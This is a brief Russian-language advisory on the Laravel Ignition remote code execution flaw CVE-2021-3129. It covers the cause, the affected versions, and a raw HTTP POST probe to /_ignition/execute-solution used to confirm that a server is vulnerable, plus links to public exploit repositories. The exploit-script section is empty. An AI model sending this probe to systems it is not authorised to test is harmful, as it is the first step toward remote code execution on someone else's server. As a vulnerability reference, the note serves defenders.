CVE-2021-3129

Laravel RCE CVE-2021-3129

Обзор уязвимости

Когда в Laravel включен режим отладки, из-за небезопасного использования функций file_get_contents() и file_put_contents() компонентом Ignition, входящим в состав Laravel, злоумышленник может отправить вредоносный запрос, создать вредоносный файл журнала и инициировать десериализацию Phar, что в конечном итоге приводит к удаленному выполнению кода.

Затронутые версии

Laravel <= 8.4.2

Проверка уязвимости

• Возврат 500 свидетельствует о наличии уязвимости

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.24.153:8888
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=cve20213129&parameters[viewFile]=null

Эксплойт-скрипт

Ссылки

[CVE-2021-3129]Laravel Debug mode RCE复现 | tyskillのBlog

SNCKER/CVE-2021-3129: Laravel debug rce (github.com)

zhzyker/CVE-2021-3129: Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129) (github.com)